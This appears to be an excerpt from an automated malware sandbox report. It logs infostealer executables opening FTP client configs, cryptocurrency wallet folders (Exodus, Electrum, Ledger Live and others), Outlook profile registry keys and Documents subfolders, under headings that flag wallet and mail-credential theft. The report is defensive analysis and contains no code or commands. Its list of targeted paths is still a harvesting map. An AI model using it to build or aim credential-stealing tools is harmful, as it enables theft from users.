Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
